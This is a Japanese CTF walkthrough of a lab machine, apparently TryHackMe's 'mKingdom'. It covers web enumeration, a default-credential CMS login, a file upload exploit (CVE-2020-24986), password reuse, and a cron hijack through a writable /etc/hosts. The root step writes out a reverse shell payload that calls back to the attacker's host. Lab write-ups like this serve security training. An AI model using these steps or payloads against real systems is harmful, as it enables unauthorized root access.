【Walkthrough】mkingdom-ff
列挙
ポートスキャン
Nmap scan report for 10.10.66.211
Host is up, received reset ttl 61 (0.37s latency).
Scanned at 2025-01-21 08:17:01 JST for 17s
PORT STATE SERVICE REASON VERSION
85/tcp open http syn-ack ttl 61 Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
Web
ディレクトリスキャン
feroxbuster -u http://10.10.66.211:85/ -e -x php,html,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.66.211:85/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, html, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 10l 30w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 33l 69w 647c http://10.10.66.211:85/index.html
200 GET 33l 69w 647c http://10.10.66.211:85/
301 GET 9l 28w 312c http://10.10.66.211:85/app => http://10.10.66.211:85/app/
/app
というディレクトリを発見しました。
/app
の中央にあるJUMPというボタンをクリックすると/app/castle/
にリダイレクトされます。
このページではconcrete5 CMSが使われています。
ログインページを確認すると、concrete5のバージョンが8.5.2
であることが分かります。
concrete5 CMS 8.5.2に対する有効なエクスプロイトが見当たらないため、認証情報をページ内から探すか初期設定のアカウント名であるadmin
を使ってパスワードを辞書攻撃をすると推測できます。
今回はたまたまadmin/password
でログインすることに成功しました。
足場
concrete5 CMS 8.5.2にはファイルマネージャー経由で.phpファイルなどの危険なタイプのファイルを無制限にアップロードできるCVE-2020-24986という脆弱性があります。
事前にreverse.phpを作成してレポートに沿ってアップロードしました。
権限昇格
wget経由でlinpeas.shをダウンロードして実行しました。
╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rw-rw-r-- 1 root root 4149 Oct 2 2019 /var/www/html/app/castle/concrete/controllers/dialog/file/bulk/storage.php
-rw-rw-r-- 1 root root 5442 Oct 2 2019 /var/www/html/app/castle/concrete/controllers/single_page/dashboard/system/files/storage.php
-rw-rw-r-- 1 root root 6163 Oct 2 2019 /var/www/html/app/castle/concrete/single_pages/dashboard/system/files/storage.php
-rw-rw-r-- 1 root root 2774 Oct 2 2019 /var/www/html/app/castle/concrete/views/dialogs/file/bulk/storage.php
-rw-rw-rw- 1 www-data www-data 401 Nov 29 2023 /var/www/html/app/castle/application/config/database.php
'database' => 'mKingdom',
'password' => 'toadisthebest',
-rw-rw-r-- 1 root root 1428 Oct 2 2019 /var/www/html/app/castle/concrete/config/database.php
database.php
からmysqlのパスワードであるtoadisthebest
を見つけました。toad
というユーザが存在していることから同じパスワードを使っていると推測します。
www-data@mkingdom:/$ su toad
su toad
Password: toadisthebest
toad@mkingdom:/$
toadにログインできました。しばらく探索をしていると、.bashrc
に怪しい文字列が追記されていました。
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
export PWD_token='aWthVGVOVEFOdEVTCg=='
toad@mkingdom:~$
base64でデコードするとikaTeNTANtES
という文字列が出現しました。試しにもう一人のユーザであるmarioのパスワードとしてログインすると成功しました。
user.txtを開こうとすると/bin/cat
がtoadのSUIDが設定されているため開くことができませんでした。そのためheadを利用しました。
mario@mkingdom:~$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
mario@mkingdom:~$ head user.txt
head user.txt
thm{**redacted**}
mario@mkingdom:~$
marioからもう一度linpeas.shを実行するとcronが動いていることに気づきました。
pspyを使ってどのような動きがあるか観測します。
2025/01/20 20:33:01 CMD: UID=0 PID=20726 | curl mkingdom.thm:85/app/castle/application/counter.sh
2025/01/20 20:33:01 CMD: UID=0 PID=20725 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
1分感覚でcounter.sh
を実行して/var/log/up.log
に追記していることが分かります。
counter.shは次のようなスクリプトになっています。
#!/bin/bash
echo "There are $(ls -laR /var/www/html/app/castle/ | wc -l) folder and files in TheCastleApp in - - - - > $(date)."
counter.shには書き込み権限がないので変更することはできません。しかし、pspyの結果で絶対パスではなく相対パスを使っていることから、/etc/hosts
ファイルに書き込み権限があるのではないかと推測しました。
ls -la /etc/hosts
-rw-rw-r-- 1 root mario 29 Jan 20 22:04 /etc/hosts
/etc/hosts
は次のような設定がされており、書き込める状態にありました。
/etc/hosts
を次のように変更しました。
echo '{Attacker IP} mkingdom.thm` > /etc/hosts
次にローカルマシンで次のディレクトリとファイルを作成してhttp serverを立ち上げます
mkdir -p app/castle/application/
echo '#!/bin/bash' > app/castle/application/counter.sh
echo 'sh -i >& /dev/tcp/{Attacker IP}/{Port} 0>&1' >> app/castle/application/counter.sh
sudo python3 -m http.server 85
他のターミナルでリバースシェルを待ち構えます。
Victimマシンから次のようなアクセスがあれば成功しています。
10.10.66.211 - - [21/Jan/2025 13:53:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
10.10.66.211 - - [21/Jan/2025 13:54:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
rootでシェルを取ることができました。
┌──(kali㉿kali)-[~/…/mkingdom/app/castle/application]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.66.211 51218
sh: 0: can't access tty; job control turned off
# whoami
root
# head /root/root.txt
thm{**redacted**}
Discussion